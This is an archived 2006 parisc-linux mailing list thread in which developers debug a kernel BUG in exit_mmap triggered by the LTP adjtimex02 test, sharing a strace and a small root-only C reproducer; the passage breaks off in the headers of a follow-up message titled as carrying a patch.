Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel BUG at mm/mmap.c:1990
Date: Mon, 11 Dec 2006 23:38:13 +0100
Lines: 151
Approved: news@gmane.org
Message-ID: <200612112338.13980.deller__24755.9057352648$1416624230$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624230 21764 80.91.229.3 (22 Nov 2014 02:43:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:50 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2006 22:38:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 11 Dec 2006 23:38:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 165567DA4B;
	Mon, 11 Dec 2006 15:38:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17519-01; Mon, 11 Dec 2006 15:38:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C9A07DA33;
	Mon, 11 Dec 2006 15:38:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1412E7DA2C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 15:38:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17266-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 15:38:17 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 081087DA2B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 15:38:16 -0700 (MST)
Original-Received: (qmail invoked by alias); 11 Dec 2006 22:38:15 -0000
Original-Received: from mnhm-590c234b.pool.einsundeins.de (EHLO p100.box) [89.12.35.75]
	by mail.gmx.net (mp003) with SMTP; 11 Dec 2006 23:38:15 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3u9KctgmbGI0QqaDYmRnO7JncmZ1Zpx1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24139

Maybe someone has an idea ?

The "adjtimex02" test from the Linux Test Project (http://ltp.sf.net) seems to pass all test, but triggers a kernel BUG in mm/mmap.c:1990 when exiting.
strace is attached below.


kernel BUG at mm/mmap.c:1990!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001011 Not tainted
r00-03  0006ff0b 105a6810 10123e10 776a33a0
r04-07  00000000 776a33a0 00000000 0002695e
r08-11  bff5200a 0004b6d8 0004b6d8 0004b6d8
r12-15  00050ed8 00050ed8 0004b6d8 00050ed8
r16-19  bff527d8 0004b6d8 0004b6d8 00000001
r20-23  00000036 00000035 0000000b 00000000
r24-27  000000e2 8713eb00 10642cc0 104e6010
r28-31  00000000 00100277 7a480200 1016e564
sr00-03  00000000 00000000 00000000 00005040
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1015dc30 1015dc34
 IIR: 03ffe01f    ISR: 10240001  IOR: 8ea3ac00
 CPU:        0   CR30: 7a480000 CR31: 105d0000
 ORIG_R28: 00000000
 IAOQ[0]: exit_mmap+0x130/0x14c
 IAOQ[1]: exit_mmap+0x134/0x14c
 RP(r2): mmput+0x54/0xd0
Fixing recursive fault but reboot is needed!



root@c3000:~/ltp-full-20061121/testcases/kernel/syscalls/adjtimex# strace -f ./adjtimex02 2>&1 | tee strace.log
execve("./adjtimex02", ["./adjtimex02"], [/* 17 vars */]) = 0
newuname({sys="Linux", node="c3000", ...}) = 0
brk(0)                                  = 0x2c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/opt/kde3/qt/lib/PARISC/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/opt/kde3/qt/lib/PARISC", 0xc05d5488) = -1 ENOENT (No such file or directory)
open("/opt/kde3/qt/lib/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/opt/kde3/qt/lib", {st_mode=0, st_size=0, ...}) = 0
open("/opt/kde3/lib/PARISC/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/opt/kde3/lib/PARISC", 0xc05d5488) = -1 ENOENT (No such file or directory)
open("/opt/kde3/lib/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/opt/kde3/lib", {st_mode=0, st_size=0, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 67082, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40214000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\1\364"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1364696, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x405c3000
mprotect(0x406f3000, 119512, PROT_NONE) = 0
mmap(0x40702000, 53248, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x12f000) = 0x40702000
mmap(0x4070f000, 4824, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4070f000
close(3)                                = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40001000
munmap(0x40214000, 67082)               = 0
brk(0)                                  = 0x2c000
brk(0x4d000)                            = 0x4d000
geteuid()                               = 0
rt_sigaction(SIGHUP, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGILL, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTRAP, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGABRT, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGEMT, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGFPE, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGBUS, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGSEGV, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGSYS, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPIPE, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGALRM, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR1, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR2, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGCHLD, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPWR, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGVTALRM, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPROF, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGIO, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGWINCH, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTSTP, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTTIN, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTTOU, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGURG, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGLOST, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUNUSED, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIG_32, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXCPU, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXFSZ, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIG_35, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGSTKFLT, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGRT_16, {0x26866, [], SA_RESTART}, {SIG_DFL}, 8) = 0
adjtimex({modes=0, offset=0, freq=0, maxerror=16384000, esterror=16384000, status=64, constant=2, precision=1, tolerance=33554432, time={1165876228, 740054}}) = 5
adjtimex(0xffffffff)                    = -1 EFAULT (Bad address)
fstat64(1, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40003000
adjtimex(0x26ae4)                       = -1 EINVAL (Invalid argument)
adjtimex(0x26ae4)                       = -1 EINVAL (Invalid argument)
adjtimex(0x26ae4)                       = -1 EINVAL (Invalid argument)
adjtimex(0x26ae4)                       = -1 EINVAL (Invalid argument)
socket(PF_FILE, SOCK_STREAM, 0)         = 3
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = 0
poll([{fd=3, events=POLLOUT|POLLERR|POLLHUP, revents=POLLOUT}], 1, 5000) = 1
writev(3, [{"\0\0\0\2\0\0\0\v\0\0\0\7", 12}, {"passwd\0", 7}], 2) = 19
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP, revents=POLLIN|POLLHUP}], 1, 5000) = 1
recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"passwd\0", 7}], msg_controllen=16, {cmsg_len=16, cmsg_level=SOL_SOCKET, cmsg_type=SCM_RIGHTS, {4}}, msg_flags=0}, MSG_NOSIGNAL) = 7
fstat64(4, {st_mode=0, st_size=0, ...}) = 0
pread(4, "\0\0\0\1\0\0\0h\0\0\0\320\0\0\0\0\0\0\0\0E}\255B\0\0\0"..., 104, 0) = 104
time(NULL)                              = 1165876228
close(4)                                = 0
close(3)                                = 0
socket(PF_FILE, SOCK_STREAM, 0)         = 3
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = 0
poll([{fd=3, events=POLLOUT|POLLERR|POLLHUP, revents=POLLOUT}], 1, 5000) = 1
writev(3, [{"\0\0\0\2\0\0\0\0\0\0\0\7", 12}, {"nobody\0", 7}], 2) = 19
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP, revents=POLLIN|POLLHUP}], 1, 5000) = 1
read(3, "\0\0\0\2\0\0\0\1\0\0\0\7\0\0\0\2\0\0\377\376\0\0\377\376"..., 36) = 36
read(3, "nobody\0x\0nobody\0/nonexistent\0/bi"..., 37) = 37
close(3)                                = 0
setresuid(-1, 65534, -1)                = 0
adjtimex(0x26ae4)                       = -1 EPERM (Operation not permitted)
setresuid(-1, 0, -1)                    = 0
adjtimex({modes=16447, offset=0, freq=0, maxerror=16384000, esterror=16384000, status=64, constant=2, precision=1, tolerance=33554432, time={1165876228, 755765}}) = 5
write(1, "adjtimex02    1  PASS  :  Test P"..., 461adjtimex02    1  PASS  :  Test Passed, adjtimex() returned -1 with errno: 14
adjtimex02    2  PASS  :  Test Passed, adjtimex() returned -1 with errno: 22
adjtimex02    3  PASS  :  Test Passed, adjtimex() returned -1 with errno: 22
adjtimex02    4  PASS  :  Test Passed, adjtimex() returned -1 with errno: 22
adjtimex02    5  PASS  :  Test Passed, adjtimex() returned -1 with errno: 22
adjtimex02    6  PASS  :  Test Passed, adjtimex() returned -1 with errno: 1
) = 461
munmap(0x40003000, 4096)                = 0
exit_group(0)                           = ?


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/mmap.c:1990
Date: Mon, 11 Dec 2006 19:18:54 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <5b2e36650612111618v55753f4fi54684fb478f1943b__31103.4403778196$1416624230$gmane$org@mail.gmail.com>
References: <200612112338.13980.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624230 21765 80.91.229.3 (22 Nov 2014 02:43:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:50 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <jbailey@raspberryginger.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Dec 2006 00:18:56 -0000
Original-Received: from wx-out-0506.google.com (EHLO wx-out-0506.google.com) [66.249.82.232]
  by mx0.gmx.net (mx069) with SMTP; 12 Dec 2006 01:18:56 +0100
Original-Received: by wx-out-0506.google.com with SMTP id i27so2233351wxd
        for <deller@gmx.de>; Mon, 11 Dec 2006 16:18:55 -0800 (PST)
Original-Received: by 10.90.89.5 with SMTP id m5mr2722138agb.1165882734616;
        Mon, 11 Dec 2006 16:18:54 -0800 (PST)
Original-Received: by 10.90.31.6 with HTTP; Mon, 11 Dec 2006 16:18:54 -0800 (PST)
In-Reply-To: <200612112338.13980.deller@gmx.de>
Content-Disposition: inline
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JrE3Avs4a2A7W7vDOHQyODIyOWhhagfe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24140

On 11/12/06, Helge Deller <deller@gmx.de> wrote:
> Maybe someone has an idea ?
>
> The "adjtimex02" test from the Linux Test Project (http://ltp.sf.net) seems to pass all test, but triggers a kernel BUG in mm/mmap.c:1990 when exiting.
> strace is attached below.
>
>
> kernel BUG at mm/mmap.c:1990!

8< (snip)

I posted a reduced testcase to trigger this several months ago, if
that would be useful to you.  I don't have it handy, though.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/mmap.c:1990
Date: Mon, 11 Dec 2006 20:14:09 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <20061212011409.GD4044__14369.3972648636$1416624230$gmane$org@athena.road.mcmartin.ca>
References: <200612112338.13980.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624230 21766 80.91.229.3 (22 Nov 2014 02:43:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Dec 2006 01:14:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 12 Dec 2006 02:14:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA3C77DA81;
	Mon, 11 Dec 2006 18:14:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19014-03; Mon, 11 Dec 2006 18:14:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF0717DA86;
	Mon, 11 Dec 2006 18:14:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 310447DA7E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 18:14:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18921-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 18:14:26 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id B11117DA7D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 18:14:26 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id F20DE58409C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 20:14:25 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7900458409B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 20:14:25 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 2479E837DC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 20:14:25 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 4D5E43B06E; Mon, 11 Dec 2006 20:14:09 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200612112338.13980.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sjtNfYBrMmApXLSZZGFn8xgxMjQ1N11M
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24141

On Mon, Dec 11, 2006 at 11:38:13PM +0100, Helge Deller wrote:
> Maybe someone has an idea ?
> 
> The "adjtimex02" test from the Linux Test Project (http://ltp.sf.net) seems to pass all test, but triggers a kernel BUG in mm/mmap.c:1990 when exiting.
> strace is attached below.
> 

iirc this only bites on 32bit kernels.

This is what Jeff is referring to:

/*
 * Testcase reduced from ltp, adjtimex02
 *
 * 1) adjtimex(2) fails with errno set to EFAULT if buf does
 *	   not point to writable memory
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/timex.h>

int
main()
{
	int x;
	struct timex *buffp = (struct timex *) -1;

	/* Check whether we are root */
	if (geteuid() != 0) {
		fprintf(stderr, "This needs to run as root.\n");
		return(-1);
	}
	
	/* Call adjtimex(2) */
	x = adjtimex(buffp);

	return x;
}


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/mmap.c:1990  [PATCH attached]
Date: Wed, 13 Dec 2006 22:50:43 +0100
Lines: 257
Approved: news@gmane.org
Message-ID: <200612132250.43504.deller__49289.704350713$1416624231$gmane$org@gmx.de>
References: <200612112338.13980.deller@gmx.de>
	<20061212011409.GD4044@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624231 21769 80.91.229.3 (22 Nov 2014 02:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Dec 2006 21:52:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 13 Dec 2006 22:52:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F15577D9E1;
	Wed, 13 Dec 2006 14:52:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13534-04; Wed, 13 Dec 2006 14:52:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C5D67D9E4;
	Wed, 13 Dec 2006 14:52:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A0707D9D8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 14:52:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13254-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 14:52:05 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id ED9E77D9CD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 14:52:04 -0700 (MST)
Original-Received: (qmail invoked by alias); 13 Dec 2006 21:52:03 -0000
Original-Received: from mnhm-590c072d.pool.einsundeins.de (EHLO p100.box) [89.12.7.45]
	by mail.gmx.net (mp028) with SMTP; 13 Dec 2006 22:52:03 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <20061212011409.GD4044@athena.road.mcmartin.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
